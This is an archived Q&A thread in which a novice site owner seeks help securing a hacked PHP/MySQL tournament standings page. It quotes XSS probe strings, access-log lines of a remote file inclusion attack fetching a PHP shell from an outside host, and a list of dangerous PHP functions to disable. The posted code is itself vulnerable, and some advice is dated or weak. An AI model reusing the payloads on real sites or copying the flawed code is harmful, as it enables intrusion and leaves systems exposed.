Want to protect your cyber security and still get fast solutions? Ask a secure question today.Go Premium

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 406
  • Last Modified:

Need Help Protecting Website from Cross Site Scripting.

OK, I admit, I'm learning on the fly.  I'm developing in Dreamweaver, and have a website with MySql databases that are updated weekly with an event standings.  My website was hacked and I've done everything I can think of to secure normal access routes.  I used Acunetix Website Vulnerability Scanner and it detected three (virtually identical) pages that have a vulnerability to Cross Site Scripting.  I'm using a $_GET variable in a MySql query and they recommend filtering to prevent metacharacters.  I have to admit, I don't know how to do that.

I have shown the code below for one of the pages.  The variable in question is totalRows_rsEventStandings.  It is being set to values such as:

1<script>alert(402544423388)</script>
and
email@some<ScRiPt%20%0a%0d>alert(402614423388)%3B</ScRiPt>domain.com
and
1<ScRiPt%20%0a%0d>alert(402554423388)%3B</ScRiPt>

I have included the code below.  How do I filter this variable to prevent it being set maliciously by outside sources?  I'm afraid that my code might well be the venue for the recent attacks.

Thanks.

<?php require_once('Connections/connMSUSBC.php'); ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
 
  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);
 
  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}
 
$currentPage = $_SERVER["PHP_SELF"];
 
$maxRows_rsEventStandings = 100;
$pageNum_rsEventStandings = 0;
if (isset($_GET['pageNum_rsEventStandings'])) {
  $pageNum_rsEventStandings = $_GET['pageNum_rsEventStandings'];
}
$startRow_rsEventStandings = $pageNum_rsEventStandings * $maxRows_rsEventStandings;
 
$eventCategory_rsEventStandings = "-1";
if (isset($_GET['eventCategory'])) {
  $eventCategory_rsEventStandings = (get_magic_quotes_gpc()) ? $_GET['eventCategory'] : addslashes($_GET['eventCategory']);
}
mysql_select_db($database_connMSUSBC, $connMSUSBC);
$query_rsEventStandings = sprintf("SELECT * FROM openstandingshcp09, tournamentdivisions WHERE openstandingshcp09.divisionID = tournamentdivisions.divisionID AND openstandingshcp09.divisionID = %s ORDER BY openstandingshcp09.totalScore DESC", GetSQLValueString($eventCategory_rsEventStandings, "int"));
$query_limit_rsEventStandings = sprintf("%s LIMIT %d, %d", $query_rsEventStandings, $startRow_rsEventStandings, $maxRows_rsEventStandings);
$rsEventStandings = mysql_query($query_limit_rsEventStandings, $connMSUSBC) or die(mysql_error());
$row_rsEventStandings = mysql_fetch_assoc($rsEventStandings);
 
if (isset($_GET['totalRows_rsEventStandings'])) {
  $totalRows_rsEventStandings = $_GET['totalRows_rsEventStandings'];
} else {
  $all_rsEventStandings = mysql_query($query_rsEventStandings);
  $totalRows_rsEventStandings = mysql_num_rows($all_rsEventStandings);
}
$totalPages_rsEventStandings = ceil($totalRows_rsEventStandings/$maxRows_rsEventStandings)-1;
 
$queryString_rsEventStandings = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsEventStandings") == false && 
        stristr($param, "totalRows_rsEventStandings") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsEventStandings = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsEventStandings = sprintf("&totalRows_rsEventStandings=%d%s", $totalRows_rsEventStandings, $queryString_rsEventStandings);
?>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0014)about:internet -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
td img {display: block;}body {
	margin-top: 0px;
}
</style>
<!--Fireworks CS3 Dreamweaver CS3 target.  Created Mon Mar 17 23:12:06 GMT-0500 (Central Daylight Time) 2008-->
<link href="mainstyle.css" rel="stylesheet" type="text/css" />
<link href="scoretables.css" rel="stylesheet" type="text/css" />
</head>
<body bgcolor="#283168">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="955">
<!-- fwtable fwsrc="MOUSBCSubPageShell.png" fwpage="Page 1" fwbase="MOUSBCSubPageShell.gif" fwstyle="Dreamweaver" fwdocid = "2105966092" fwnested="0" -->
  <tr>
   <td><img src="Images/SubPageFiles/spacer.gif" width="150" height="1" border="0" alt="" /></td>
   <td><img src="Images/SubPageFiles/spacer.gif" width="150" height="1" border="0" alt="" /></td>
   <td><img src="Images/SubPageFiles/spacer.gif" width="655" height="1" border="0" alt="" /></td>
   <td><img src="Images/SubPageFiles/spacer.gif" width="1" height="1" border="0" alt="" /></td>
  </tr>
 
  <tr>
   <td id="sidenav" rowspan="4" valign="top"><div align="left"><img src="Images/SubPageFiles/Front Page_r1_c1.jpg" width="150" height="200" />
       <?php include("sidenav.inc.php"); ?>
   </div></td>
   <td rowspan="4" valign="top" bgcolor="#D62F12"><p><img src="Images/SubPageFiles/Front Page_r1_c2.jpg" width="150" height="200" /></p>
     <p align="center"><a href="/standingsopen2009search.php"><img src="/Images/search_icon.jpg" alt="Back to Search Page" width="140" height="140" border="0" /></a></p></td>
   <td align="center" background="Images/SubPageFiles/MOUSBCSubPageShell_r1_c3.gif"><?php include("banner.inc.php"); ?></td>
   <td><img src="Images/SubPageFiles/spacer.gif" width="1" height="70" border="0" alt="" /></td>
  </tr>
  <tr>
   <td id="nav" align="center" background="Images/SubPageFiles/MOUSBCSubPageShell_r2_c3.gif">
   <?php include("topnav.inc.php"); ?>   </td>
   <td><img src="Images/SubPageFiles/spacer.gif" width="1" height="30" border="0" alt="" /></td>
  </tr>
  <tr>
   <td rowspan="2" valign="top" background="Images/SubPageFiles/MOUSBCSubPageShell_r5_c3.jpg" bgcolor="#FFFFFF">
   
     <table width="100%" border="0" cellspacing="0" cellpadding="3">
       <tr>
         <th width="3%" scope="col">&nbsp;</th>
         <th scope="col"><table width="100%" border="0" cellspacing="0" cellpadding="3">
             <tr>
               <th width="21%" scope="col"><img src="/Images/TournamentLogos/OpenChampionshipLogoLocal2009.jpg" alt="" width="120" height="120" /></th>
               <th width="79%" scope="col"><h1>2009 MSUSBC<br />
                 OPEN CHAMPIONSHIP<br />
               </h1>
                 <h2>CURRENT UNOFFICIAL STANDINGS</h2></th>
             </tr>
         </table></th>
       </tr>
       <tr>
         <td>&nbsp;</td>
         <td><hr /></td>
       </tr>
       <tr>
         <td>&nbsp;</td>
         <td><div align="center">
           <h3><?php echo $row_rsEventStandings['divisionName']; ?></h3>
           <p>Standings are Updated as of Sunday, April 19, 2009</p>
         </div></td>
       </tr>
       <tr>
         <td>&nbsp;</td>
         <td><hr /></td>
       </tr>
       <tr>
         <td>&nbsp;</td>
         <td bgcolor="#F0F0F0"><table width="600" border="0">
           <tr>
             <td width="50"><?php if ($pageNum_rsEventStandings > 0) { // Show if not first page ?>
                 <div align="left"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, 0, $queryString_rsEventStandings); ?>"><img src="/Images/First.gif" border="0" /></a> </div>
               <?php } // Show if not first page ?>             </td>
             <td width="71"><?php if ($pageNum_rsEventStandings > 0) { // Show if not first page ?>
                 <div align="left"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, max(0, $pageNum_rsEventStandings - 1), $queryString_rsEventStandings); ?>"><img src="/Images/Previous.gif" border="0" /></a> </div>
               <?php } // Show if not first page ?>             </td>
             <td width="357"> <div align="center">Displaying Places <?php echo ($startRow_rsEventStandings + 1) ?> to <?php echo min($startRow_rsEventStandings + $maxRows_rsEventStandings, $totalRows_rsEventStandings) ?> of <?php echo $totalRows_rsEventStandings ?> Total.</div></td>  
             <td width="50"><?php if ($pageNum_rsEventStandings < $totalPages_rsEventStandings) { // Show if not last page ?>
                 <div align="right"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, min($totalPages_rsEventStandings, $pageNum_rsEventStandings + 1), $queryString_rsEventStandings); ?>"><img src="/Images/Next.gif" border="0" /></a> </div>
               <?php } // Show if not last page ?>             </td>
             <td width="50"><?php if ($pageNum_rsEventStandings < $totalPages_rsEventStandings) { // Show if not last page ?>
                 <div align="right"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, $totalPages_rsEventStandings, $queryString_rsEventStandings); ?>"><img src="/Images/Last.gif" border="0" /></a> </div>
               <?php } // Show if not last page ?>             </td>
           </tr>
         </table></td>
       </tr>
       <tr>
         <td>&nbsp;</td>
         <td><hr /></td>
       </tr>
       <tr>
         <td>&nbsp;</td>
         <td><table id="eventstandings" width="100%" border="0" cellspacing="0" cellpadding="3">
           <tr>
             <th class="alignPosition" scope="col">POS</th>
             <th class="alignNames" scope="col"><div align="left">NAME</div></th>
             <th class="alignPosition" scope="col">SCRATCH</th>
             <th class="alignAverage" scope="col">HDCP</th>
             <th class="alignAverage" scope="col">TOTAL</th>
             <th class="alignOrigin" scope="col"><div align="left">ASSOCIATION</div></th>
           </tr>
           <?php $counter = 0; // initialize counter outside loop ?>
           <?php do { ?>
             <tr <?php if ($counter++ % 2) {echo 'class="altRow"';} ?>>
                 <td class="alignPosition"><?php echo $row_rsEventStandings['position']; ?></td>
               <td class="alignNames"><?php echo $row_rsEventStandings['teamName']; ?></td>
               <td class="alignPosition"><?php echo $row_rsEventStandings['scrScore']; ?></td>
               <td class="alignAverage"><?php echo $row_rsEventStandings['hdcp']; ?></td>
               <td class="alignAverage"><?php echo $row_rsEventStandings['totalScore']; ?></td>
               <td class="alignOrigin"><?php echo $row_rsEventStandings['origin']; ?></td>
             </tr>
             <?php } while ($row_rsEventStandings = mysql_fetch_assoc($rsEventStandings)); ?>
         </table>         </td>
       </tr>
       <tr>
         <td>&nbsp;</td>
         <td bgcolor="#F0F0F0"><table width="600" border="0">
           <tr>
             <td width="50"><?php if ($pageNum_rsEventStandings > 0) { // Show if not first page ?>
                   <div align="left"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, 0, $queryString_rsEventStandings); ?>"><img src="/Images/First.gif" border="0" /></a>                   </div>
                  <?php } // Show if not first page ?>             </td>
             <td width="432"><?php if ($pageNum_rsEventStandings > 0) { // Show if not first page ?>
                   <div align="left"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, max(0, $pageNum_rsEventStandings - 1), $queryString_rsEventStandings); ?>"><img src="/Images/Previous.gif" border="0" /></a>                   </div>
                  <?php } // Show if not first page ?>             </td>
             <td width="50"><?php if ($pageNum_rsEventStandings < $totalPages_rsEventStandings) { // Show if not last page ?>
                   <div align="right"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, min($totalPages_rsEventStandings, $pageNum_rsEventStandings + 1), $queryString_rsEventStandings); ?>"><img src="/Images/Next.gif" border="0" /></a>                   </div>
                  <?php } // Show if not last page ?>             </td>
             <td width="50"><?php if ($pageNum_rsEventStandings < $totalPages_rsEventStandings) { // Show if not last page ?>
                   <div align="right"><a href="<?php printf("%s?pageNum_rsEventStandings=%d%s", $currentPage, $totalPages_rsEventStandings, $queryString_rsEventStandings); ?>"><img src="/Images/Last.gif" border="0" /></a>                   </div>
                  <?php } // Show if not last page ?>             </td>
           </tr>
         </table></td>
       </tr>
       
       <tr>
         <td>&nbsp;</td>
         <td>&nbsp;</td>
       </tr>
     </table></td>
   <td><img src="Images/SubPageFiles/spacer.gif" width="1" height="100" border="0" alt="" /></td>
  </tr>
  <tr>
   <td><img src="Images/SubPageFiles/spacer.gif" width="1" height="280" border="0" alt="" /></td>
  </tr>
  
  
  <tr>
   <td colspan="3" background="Images/SubPageFiles/MOUSBCSubPageShell_r7_c1.gif"><table width="100%" border="0" cellpadding="0">
     <tr>
       <td id="copyright" width="299" align="center"><?php include("copyright.inc.php"); ?></td>
       <td id="nav" width="655" align="center"><?php include("botnav.inc.php"); ?></td>
     </tr>
   </table></td>
   <td><img src="Images/SubPageFiles/spacer.gif" width="1" height="30" border="0" alt="" /></td>
  </tr>
</table>
</center>
</body>
</html>
<?php
mysql_free_result($rsEventStandings);
?>
 
 
<title><?php echo($title);?>2009 MSUSBC Open Championship Results by Event</title>

Open in new window

0
DennisHacker
Asked:
DennisHacker
  • 5
  • 4
1 Solution
 
Beverley PortlockCommented:
Simplest solutions

If a variable is NOT meant to contain any HTML then instead of

if (isset($_GET['pageNum_rsEventStandings'])) {
  $pageNum_rsEventStandings = $_GET['pageNum_rsEventStandings'];
}

do this

if (isset($_GET['pageNum_rsEventStandings'])) {
  $pageNum_rsEventStandings = strip_tags ( $_GET['pageNum_rsEventStandings'] );
}

and that will whip out any javascript. In general if you will be passing strings of data in mysql queries then run them through mysql_real_escape_string as well.

  $pageNum_rsEventStandings = mysql_real_escape_string( $_GET['pageNum_rsEventStandings'] );


You could combine them both

  $pageNum_rsEventStandings = mysql_real_escape_string( strip_tags ( $_GET['pageNum_rsEventStandings'] ) );

and so this FOR EVERY $_GET and EVERY $_POST variable you use.
0
 
Beverley PortlockCommented:
Just noticed that you are using $_SERVER["PHP_SELF"] which is vulnerable to cross-site scripting. The easiest mod is to change it like so

$currentPage = strip_tags(  $_SERVER["PHP_SELF"] );
0
 
DennisHackerAuthor Commented:
Thanks for getting back to me.  I will put that code into effect and run the scan again.  I will be back shortly to let you know how it goes.
0
Concerto Cloud for Software Providers & ISVs

Can Concerto Cloud Services help you focus on evolving your application offerings, while delivering the best cloud experience to your customers? From DevOps to revenue models and customer support, the answer is yes!

Learn how Concerto can help you.

 
DennisHackerAuthor Commented:
Like I said earlier, I'm new to coding and vulnerabilities.  The code on the page game from Dreamweaver CS3.  I basically built the queries and let the pages write themselves.  When I searched in Dreamweaver for help on this matter, there was none to be found.

How do you know to look for vulnerabilities like this?  Is XSS something new that we have to worry about?  Like I said, I got hacked, and it eventually turned into them using my site as a phishing site.  Do you think that these holes were enough for them to upload pages without knowing my logons and passwords?
0
 
Beverley PortlockCommented:
A lot can depend on how your server is set up. If your webserver does not permit exec() commands to be run then that puts a real crimp on the hackers as many try to upload shell scripts like phpshell.

To monitor for this, some statistics package like webalizer is a good way to find this stuff because odd-ball traffic and links show up in the statistics. Also inspect the whole website's source code and folders and look for anything called "shell", "phpshell" or "c99shell". Check your .htaccess files and make that they contain only what you put in them.

The trick for injecting this stuff is to use javascript or HTML injection to embed a small PHP script into a database table - preferably one that provides content for a webpage - and then this can be used to upload a shell script. After that you are doomed....

My check list for avoiding this is as follows:

1. use strip_tags on any field that is not meant to contain HTML (including $_SERVER variables)
2. use mysql_real_escape_string on all passed data
3. quote numerics in MySQL queries - use WHERE myfield='123' rather than WHERE myfield=123 (stops numeric injection)
4. if you have access to php.ini then consider using the disable_functions setting to prevent scripts from running dangerous commands

disable_functions = show_source, system, shell_exec, passthru, exec, popen, proc_open, proc_close, proc_terminate, proc_get_status, proc_nice, symlink, exec, proc_close, popen, dl, escapeshellarg, escapeshellcmd , php_uname, disk_free_space

5. Consider using open_basedir to restrict access across the server
6. Ensure that NOBODY has access to folder /root (except the root user)
0
 
Beverley PortlockCommented:
Oh crikey - forgot the biggest hole of all.

7. Make sure that register_globals is set to OFF.
0
 
DennisHackerAuthor Commented:
I will evaluate all of that on my current web host, which I might add has been VIRTUALLY NO HELP AT ALL FOR ME ON THIS.  So, I'm looking to move shortly.  At any rate, the scans done by Acunetix Web Vulnerability Scanner show no alerts at all right now, and no stored XSS on my site.  Again, thanks.
0
 
DennisHackerAuthor Commented:
Just a follow up, and I'd like your opinion if you have the time.  Last night, after making the changes to the things you showed me above, I was attacked again.  This time, they did something different, and I was able to get the following from the webhost on a support ticket:

One of our higher level tech support has restored a clean copy of your files from our back up and he noticed
a Cross side attack:

78.170.0.120 - - [22/Apr/2009:02:40:27 -0400] "POST /subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt?? HTTP/1.0" 200 60595 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

78.170.0.120 - - [22/Apr/2009:02:40:28 -0400] "GET /subpage.php?img=1 HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"
78.170.0.120 - - [22/Apr/2009:02:40:28 -0400] "GET /subpage.php?img=2 HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

78.170.0.120 - - [22/Apr/2009:02:42:23 -0400] "GET /subpage.php?img=1 HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

78.170.0.120 - - [22/Apr/2009:02:42:23 -0400] "GET /subpage.php?img=2 HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

78.170.0.120 - - [22/Apr/2009:02:42:35 -0400] "POST /subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt?? HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

78.170.0.120 - - [22/Apr/2009:02:42:50 -0400] "GET /subpage.php?img=2 HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

78.170.0.120 - - [22/Apr/2009:02:42:50 -0400] "GET /subpage.php?img=1 HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

78.170.0.120 - - [22/Apr/2009:02:43:21 -0400] "POST /subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt?? HTTP/1.0" 200 6509 "http://missouriusbc.ipower.com/subpage.php?content=http://www.kortech.cn/bbs/skin/zero_vote/r57.txt??" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8"

Most probably Hacker is binding shell script to URL and defacing the website. To prevent this from happening again 'fopen' has been Disabled.  Please make sure that script which you are using is up-to-date and does not have a loophole.  Please check it from your end.

My subpage uses a ?content= include that comes from a standard navigation setup.  Is there anything wrong with doing it that way?
0
 
Beverley PortlockCommented:
My subpage uses a ?content= include that comes from a standard navigation setup.  Is there anything wrong with doing it that way?

Yes.

You are telling the server to include whatever filename it is passed and that includes a file hosted on a server elsewhere. This is a major problem and hopefully disabling the remote fopen will help. As a further measure find the bit of code that does the include - look for $_GET['content'] and for $_POST['content']. Then immedately after this $_GET add code like this

$filenameToCheck = strtolower( $_GET['content'] );
if ( strpos( $filenameToCheck, "http://" ) !== false )
     exit;

Do similar stuff after the $_POST['content'] swapping $_GET for $_POST

Remember you cannot trust ANYTHING that comes from a URL parameter. Check everything and make sure that any data coming from a URL variable is "sanitised" as we discussed. Another measure is to pass a security token with your data and then disregard any input that lacks the token. For instance this code

$secKey = mt_rand( 10000, 999999 );
$secToken = $secKey . "-" . md5( $secKey . "a secret string that only I know"  .$_SERVER['REMOTE_ADDR'] . date("Y-m-d") );

This will generate something like 12345-142ab5ed4256a42426df27634 which you would add to all forms as a hidden field

<input type='hidden' name='secToken' value='<?php echo $secToken; ?>' />

and stick in on the end of URLs

$myUrl .= "&secToken=$secToken";

Then when you get form input you take the visible key (12345) and apply your fomula to it and it should produce the same answer. If it does not then you abort.

$secToken = $_GET['secToken'];
$split = explode("-", $secToken );
$newKey = md5( $split[0] . "a secret string that only I know"  .$_SERVER['REMOTE_ADDR'] . date("Y-m-d") );
if ( $newKey != $split[1] )
     exit;


Now obviously this takes a lot of work, but you cn see the advantages. Because your secret formula contains the remote address and the date it is only valid for the connection that produced it for one day and a  new one is produced every time you load the form. Better schemes exist than the one I have shown you, but I'm keeping this as simple as possible.

Another variation is instead of generating a random number you generate the time and include it so that you can disallow any set of data more than (say) 30 minutes old by comparing the time the data was generated with the time is was presented.


$secKey = mt_rand( 10000, 999999 );
$secToken = $secKey . "-" . md5( $secKey . "a secret string that only I know"  .$_SERVER['REMOTE_ADDR'] . date("Y-m-d") ) . "-" . time();

then to check


$secToken = $_GET['secToken'];
$split = explode("-", $secToken );

// Check how old this is. Disallow any form more than 30 minutes old (30 * 60 = 1800 seconds)
//
if ( abs( time() - $split[2] ) > 1800 )
    die("Security token expired");

$newKey = md5( $split[0] . "a secret string that only I know"  .$_SERVER['REMOTE_ADDR'] . date("Y-m-d") );
if ( $newKey != $split[1] )
     exit;

I have not tested any of the above code, but it is not far from the truth. Let me know how you get on.
0

Featured Post

Get your problem seen by more experts

Be seen. Boost your question’s priority for more expert views and faster solutions

  • 5
  • 4
Tackle projects and never again get stuck behind a technical roadblock.
Join Now